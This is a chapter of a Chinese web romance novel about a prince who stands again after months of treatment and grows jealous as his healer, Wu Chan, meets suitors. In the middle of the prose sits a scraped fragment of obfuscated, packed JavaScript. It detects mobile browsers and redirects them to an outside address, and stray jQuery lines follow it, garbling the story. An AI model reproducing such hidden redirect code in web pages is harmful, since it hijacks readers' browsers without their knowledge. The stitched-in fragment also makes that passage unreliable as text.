89. 半年光阴

作品:《借我入骨刀

    光阴如流沙,悄无声息从指缝间漏尽。


    京城的雪落了又融,融了又积,转眼墙根迎春谢了,庭前石榴燃了满树红。半载寒暑,不过是宫墙里百余次日升月落。


    对旁人而言,这是讳莫如深的半年。永宁公主成了宫闱禁忌,那个名字连同那场掀动朝野的宫宴,被陛下一道严旨封进了重闱。


    对容准而言,这是剥皮拆骨的半年。


    华阳宫偏殿内。


    容准双手扣着轮椅扶手,额角渗着一层细密的冷汗,盯着自己的脚尖。


    这半年,乌婵不知在他身上扎了多少针,灌了多少苦得人舌根发麻的汤药。起初只是蚁噬似的麻痒,后来渐渐成了钝刀割肉般的疼,日夜不休。乌婵说,这是在通经脉。


    他深吸一口气,咬着牙把全身气力往下沉,去感知那两双早已陌生的腿。


    什么感觉都没有,身子沉重地坠着。


    他没松劲,冷汗顺着额角滑进下颌。


    慢慢地,脚底板传来坚硬的触感——是地砖。


    那种踏实的感觉顺着脚踝往上爬,穿过膝盖,直抵心口。


    容准猛地发力。


    臀部离开了椅面。


    膝盖抖得厉害,可他稳住了。


    他站起来了。


    视线骤然拔高。窗外的景致变了模样,不再是轮椅上只能望见的墙根与树干,他越过朱红宫墙,看见墙外探进来的石榴枝,挂着红彤彤的果子。再远些,是檐上的瓦当,还有掠过长空的燕子。


    这一切对于常人来说太过寻常。可对于困在轮椅上半年的容准来说,却是换了人间。


    狂喜如潮水般涌上来,冲得他鼻腔发酸。


    他脱口喊出:“乌婵!”


    没人应声。


    往日里,他在屋里稍有声响,那丫头不管在哪个角落捣鼓草药,都会第一时间冲进来,身上银饰叮铃作响,还没见人就先闻声。


    可今日,屋里静悄悄的。


    满腔狂喜像被兜头浇了盆冷水,悬在半空落不下来。腿上的力气跟着泄了个干净,膝盖一软,他重重跌回轮椅里。


    小太监喜瑞急匆匆跑进来:“殿下,您怎么了?是不是腿又疼了?奴才这就去叫……”


    “乌蝉呢?叫她过来。”


    喜瑞愣了愣,眼神躲闪着。


    “乌姑娘……乌姑娘她出去了。”


    “去哪了?”


    容准拿过帕子擦了擦额角的汗,心里奇怪。这半年,乌婵几乎十二个时辰都围着他转,晨起针灸,午后熬药,晚间还要用药酒推拿。


    今日怎么一声不吭就没了人影。


    喜瑞垂着头:“今儿一早,礼部尚书家的刘公子递了帖子,邀乌姑娘去游湖。”


    擦汗的手顿住。


    “游湖?”容准重复了一遍。


    “是。”喜瑞硬着头皮回话,“陛下不是许诺过乌姑娘么,满京城的青年才俊任她挑。这半年来,因为要给您治腿,乌姑娘一直没顾得上。如今您身子见好,这帖子……也就多了起来。”


    容准把手里的帕子扔在桌上。


    原本叠得整整齐齐的锦帕,被他攥得皱成一团。


    “所以她就去了?”


    “去了。”喜瑞小心翼翼觑着他的脸色,“听说刘公子生得风流倜傥,最擅诗词歌赋。乌姑娘看了帖子,说想去瞧瞧中原的书生是个什么模样,就……欢欢喜喜地出门了。”


    欢欢喜喜。


    四个字像细针,扎得容准耳尖发疼。


    他盯着那扇开着的窗,方才看着喜庆的石榴树,此刻怎么看怎么碍眼。


    原来她这么急。


    他的腿还没全好,她就已经迫不及待地要去挑夫婿了。


    也是,这是当初说好的条件。她治好他的腿,父皇给她寻一门好亲事。哪怕他不乐意,这京城里也多的是世家子弟排着队任她选。


    心口闷得发慌,偏生无处发泄。


    方才站起来的那一瞬间,那种想第一时间告诉她的冲动,此刻想来竟像个笑话。人家正忙着游湖赏景,听才子吟诗作对,哪有功夫管他这双残腿能不能站起来。


    “把窗户关上。”容准冷着脸吩咐,“风大。”


    喜瑞看了眼外头艳阳高照,连树叶都纹丝不动,哪来的风?可他不敢多嘴,连忙过去把窗关得严严实实。


    容准转动轮椅,背对着门口:“我不饿,午膳撤了。谁也别来烦我。”


    喜瑞张了张嘴想劝,可见主子这副生人勿近的模样,只能叹了口气,轻手轻脚退了出去。


    这一下午,容准就在书房里耗着。


    手里拿了本《兵策》,翻了半天,连一页都没看进去。


    脑子里全是乱七八糟的念头。


    一会儿想那刘公子是不是真生得俊朗,一会儿又想乌婵那个野丫头,懂什么诗词歌赋,别是被人卖了还帮着数钱。


    她要是真看上了怎么办?


    刘家门第是不错,但规矩森严。乌婵那性子,吃饭爱蹲着,高兴了就唱山歌,一身银饰走哪响哪,进了那讲究食不言寝不语的高门,还不得被那些繁文缛节憋死?


    书重重拍在桌上。


    关他什么事。


    她自己乐意,就算跳进火坑,也是她自找的。


    就在容准快把书页的边角搓烂的时候,院子里终于传来了那阵熟悉的响动。


    带着一股子不管不顾的欢快劲儿。


    紧接着是喜瑞迎上去的声音:“哎哟我的姑奶奶,您可算回来了!殿下今儿个……”


    “他怎么了?”


    “他怎么了?”少女的声音清亮,还带着没散去的兴奋,“腿疼了?不能啊,我昨晚刚给他通了穴。”


    门帘一掀,外头的热气混着淡淡的脂粉香涌了进来。


    乌婵大步跨进门,今日特意换了身汉家女子的淡粉襦裙,袖口绣着合欢花。头上的银冠没摘,脖子上的银项圈也没摘,一身打扮看着不伦不类,却透着股别样的娇俏。


    她手里提着个油纸包,脸上红扑扑的,一双眼睛亮得惊人。


    “喏。”她半点不见外,把油纸包往容准面前的桌上一搁,“给你的。”


    容准瞥了一眼,上头印着“聚芳斋”的字号。


    京城里最有名的点心铺子,每日限量,排队都要排两个时辰。


    “我不吃甜的。”他继续翻手里的书,语气淡得像水。


    “尝尝嘛。”乌婵没察觉他的冷淡,自顾自拆开纸包,捏起一块桂花糕递到他嘴边,“这是刘公子特意排队买的,说是京城一绝。我尝了,味道确实不错。”


    刘公子买的。


    容准看着递到嘴边的糕点,晶莹剔透,甜香扑鼻,心里的火却蹭地一下窜了上来。


    他堂堂皇子,何曾要吃旁人买来、转手递过来的东西。


    “拿走。”他偏过头,避开她的手,“我说了不吃。”


    乌婵这才觉出不对劲。歪着头,凑近了仔细打量他的脸。


    “你怎么了?”她皱着眉,“谁惹你了?脸拉得比驴还长。”


    容准冷笑一声:“我好得很。倒是你,玩得挺开心。”


    “是挺开心的。”乌婵没听出赖话,反而顺着他的话茬说道,“那个刘公子人挺好的,就是说话文绉绉的,我大半听不懂。他带我坐了大船,在湖中间飘着,还给我念诗,什么关关雎鸠,虽然我不知道那是啥鸟,但听着还挺顺耳。”


    她眼睛弯成了月牙:“他还说,改日要带我去放风筝。”


    容准握着书卷的手指骤然收紧。


    好得很。游湖,念诗,还要放风筝。这才见了一面,魂都快被人勾走了。


    “既然刘公子这么好,你怎么不直接跟他回家?”容准把书往桌上一扔,“还回来干什么?我可不会念什么关关雎鸠。”


    乌婵眉头皱得更紧:“你今天吃火药了?说话怎么这么冲。我是去相看男人,又不是去卖身。再说了,我还要给你治腿呢,我的病人还没好全,我能去哪?”


    她一脸理直气壮,反倒像他无理取闹。


    容准被这话噎得胸口发疼。


    合着她回来,只是因为病人没好全。


    等他腿好了,她是不是转身就嫁进刘家,去做她的尚书儿媳妇了?


    “我不用你治了。”容准转过轮椅,背对着她,“你可以走了。去找你的刘公子,还是张公子,随你的便。”


    乌婵眨了眨眼。相处这么久,她多少摸透了这个瘸子的脾气。阴晴不定,别扭得很。明明心里想要,嘴上偏说不要。明明疼得要死,偏要咬着牙一声不吭。


    她走过去,强行把轮椅转了回来。


    容准被迫对上她的脸,恼道:“你干什么?”


    “别闹了。”她扶着他往床榻边去,“是不是疼得厉害,心情不好?阿妈说了,久病的人性子都怪。我不跟你计较。”


    容准更别扭了:“我累了,要歇息。你出去。”


    “歇什么歇,针还没扎呢。”


    乌蝉从腰间摸出针包,顺手就去掀他的被子。


    “今天不扎。”容准按住被角。


    “你说了不算。”


    乌婵手劲大,一把掀开半张被子,干脆利落地跳上床,跨坐在他身上,伸手就去扯他的裤腰。


    “乌蝉!你能不能有点女子的矜持!”容准气急败坏,脸涨得通红。


    “你这人怎么这么别扭?又不是没看过!”


    以前是以前,可今日……她刚跟别的男人相看完,转头就来扒他的裤子,这算什么?


    一个要扒,一个要护,两人在床上滚作一团。容准到底是个病人,力气比不过她,中衣的裤带三两下就被扯开了。


    容准身体瞬间紧绷。


    少女温软的身躯紧紧贴着他,隔着薄薄的衣料,能清晰感受到她身上的热度。她低着头,发间银饰垂下来,扫过他的脸颊,带来一阵痒意。


    鼻尖萦绕着她独有的草药香,混着一丝女儿家的软香。


    容准是个血气方刚的少年,又正是情窦初开的年纪。被同龄姑娘这般近身厮磨,身体若是没反应,才是真的出了毛病。


    一股热气轰地冲上脑门。


    乌婵正低头找穴位,下一刻手里的银针差点掉在床上。


    两人大眼瞪小眼。


    “你……”乌婵先眨了眨眼,像是没明白。过了一会儿,她“呀”了一声,像只受了惊的兔子,立刻从他身上滚下去。


    “流氓!”她脸也红了,指着容准,半天憋出两个字。


    “我没有!”容准扯过被子把自己裹得严严实实,缩成一团。


    他这辈子,从没这么丢人过。


    “是你自己乱摸!”


    “我那是找穴位!”乌婵大声反驳,眼神却飘忽不定,根本不敢往床上看,“谁知道你……你脑子里在想什么龌龊事!”


    “我没想!”容准吼道,脖子都红透了,“这是……身体的自然反应!你是大夫你不懂吗?”


    “我是大夫我又不是男人!”乌婵视线往门口瞟,“既然你有精神了,那今晚这针……大概也不用扎了。”


    说完,她转身就跑。


    跑到门口,脚步一顿,又折返了回来。


    她扒着门框,探进半个脑袋,看着裹成蚕蛹一样的容准,犹豫着问了一句:


    “那个……你要是实在难受,要不……我给你叫个宫女来?喜瑞说,宫里这种事,都有专门的宫女……”


    “乌——婵——!”


    容准真急了,“你给我滚!”


    他抓起手边的软枕,狠狠朝她砸了过去。


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17216278|190368||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >乌婵头一缩,那枕头擦着她的耳朵飞过去,,砸在门框上,棉絮飞了一地。


    “不叫就不叫嘛!发什么火!”


    她吓了一跳,也不敢再逗留,跑远了才飘来一句:“这可是你自己不要的啊!憋坏了别赖我!”


    ……


    这一夜,两人都没睡好。


    第二天日上三竿,喜瑞指挥着两个小太监,搬来了一大堆卷轴,在案几上一字排开。


    容准坐在轮椅上,眼底两团乌青格外明显,脸色比昨天还臭。


    乌婵打着哈欠从里屋出来。两人视线一撞,又不约而同地移开。昨晚那事太尴尬,谁也不提,就当没发生过。


    “这是什么?”她好奇地凑过去看那些画卷。


    “这是……”喜瑞看了看容准的脸色,小心翼翼地说,“这是昨晚陛下让人送来的。说是京城各家公子的画像,让姑娘挑挑。”


    乌婵眼睛一亮:“真的?快打开看看!”


    喜瑞展开第一幅画卷。


    画上是个身穿劲装的男子,正在拉弓射箭,看着颇为英武。


    “这是镇国公府的小世子。”喜瑞介绍道,“使得好枪棒,为人豪爽……”


    “太黑。”


    冷冷的声音从旁边飘过来。


    容准端着茶杯,眼皮都没抬,“镇国公府常年在北边练兵,一个个晒得跟煤球似的。你带回去,晚上点灯都找不着人。”


    乌婵:“……”


    她看了看画,好像是有点黑。


    “下一个。”


    第二幅展开。是一个白衣书生,手持折扇,风度翩翩。


    “这是翰林院李学士的长孙,才高八斗……”


    “酸。”


    容准吹了吹茶沫子,“这种读书人最迂腐。你晨起忘了梳头,他能引经据典数落你半个时辰。而且李家清正,早晚请安得跪着。”


    乌婵缩了缩脖子:“那不行,我膝盖受不了。”


    第三幅。


    “这是安平侯府的三公子,家里有良田千顷,为人和善……”


    “是个胖子。”


    容准瞥了一眼,“走两步路都喘。你不是喜欢爬山吗?他连山脚都爬不到。”


    一连看了十几幅。


    高矮胖瘦,文臣武将,富商巨贾。


    愣是被容准挑出了一百八十个毛病。太高的说像竹竿,太矮的说像冬瓜,太白的说像太监,太黑的说像黑炭。


    总之,满京城的青年才俊,在他嘴里,就没有一个能入眼的。


    喜瑞抱着画卷的手都酸了,一脸无奈地看着自家主子。


    这也太明显了。


    可惜乌婵姑娘不开窍。


    “哎,我说你是不是故意的?怎么谁都不行啊?我看那个穿白衣服的就挺好,还有那个骑马的也不错。”


    容准放下茶杯,一脸无辜:“我是在帮你把关。毕竟你是我的救命恩人,总不能看你往火坑里跳。”


    “把关?有你这么把关的吗?你把全京城的男人都骂了一遍,合着我就只能当老姑娘了?”


    乌婵气呼呼地指着那一地画卷,“要不你给我介绍一个?你不是皇子吗?你认识的人肯定多。你就说,谁能入得了你的眼?”


    容准看着乌婵气鼓鼓的脸,心里那种酸涩又涌了上来。


    “行啊。”


    容准扯了扯嘴角,“你既然这么急着嫁人,我便帮你挑。一定挑个家世清白、性子温和,能容下你这臭脾气的。”


    他说着违心的话,每一个字都像是在凌迟自己。


    “等你嫁出去,我也就清净了。”


    乌蝉哼了一声,“行,我等你挑,要是挑不着好的,我就赖在你这不走了,吃穷你。”


    容准终于笑了笑。


    “放心。”他轻声说,“这点米,我还是有的。”


    他转动轮椅,往里屋走去。


    “喜瑞,把这些画都烧了。看着心烦。”


    “是。”


    喜瑞忙不迭地收拾地上的画卷。


    乌婵站在原地,看着容准孤单单的背影消失在帘子后面。


    她摸了摸心口。


    奇怪。


    明明是他答应帮忙找男人,怎么这里……有点闷闷的呢?


    *


    午后,乾清宫传来口谕,宣九皇子觐见。


    容准收拾整齐,由乌蝉推着去了前殿。


    周文帝这半年老了许多,两鬓斑白,精神也大不如前。他坐在龙椅上,看着底下这个已然长大的儿子,眼神复杂。


    “听太医说,你的腿有知觉了?”周文帝问。


    “回父皇,有些知觉了。”容准恭敬回道。


    “你也大了。”周文帝叹了口气,“朕已让人在城西修缮了一座宅子,离宫不远。今日,朕便封你为裕王,赐府建牙。等你腿好全了,就搬出去住吧。”


    裕,富裕宽绰。


    这大概是父皇对他最后的仁慈,也是对母妃之死的补偿。


    容准行礼谢恩,“儿臣,谢主隆恩。”


    从大殿出来时,天色有些阴沉。


    乌婵推着轮椅,沿着长长的白玉阶往下走。


    巍峨的朱漆大门旁,跪着一个人。


    一身锦袍,身形消瘦不少,却跪得端直如松,如一尊缄默的石像。


    “他还在跪啊?”乌婵小声嘀咕,“这都半年了吧?天天风雨无阻的,膝盖还要不要了?”


    容准看着那个背影,心里五味杂陈。


    自从皇姐走后,他每日都要来这儿跪上两个时辰,求父皇开恩,允他同去皇陵守墓。


    “这就是你们中原人说的……痴情?”走出老远,乌蝉又忍不住回头看了一眼。


    “要不你就照这样的给我挑个吧!”


    容准没心思理她。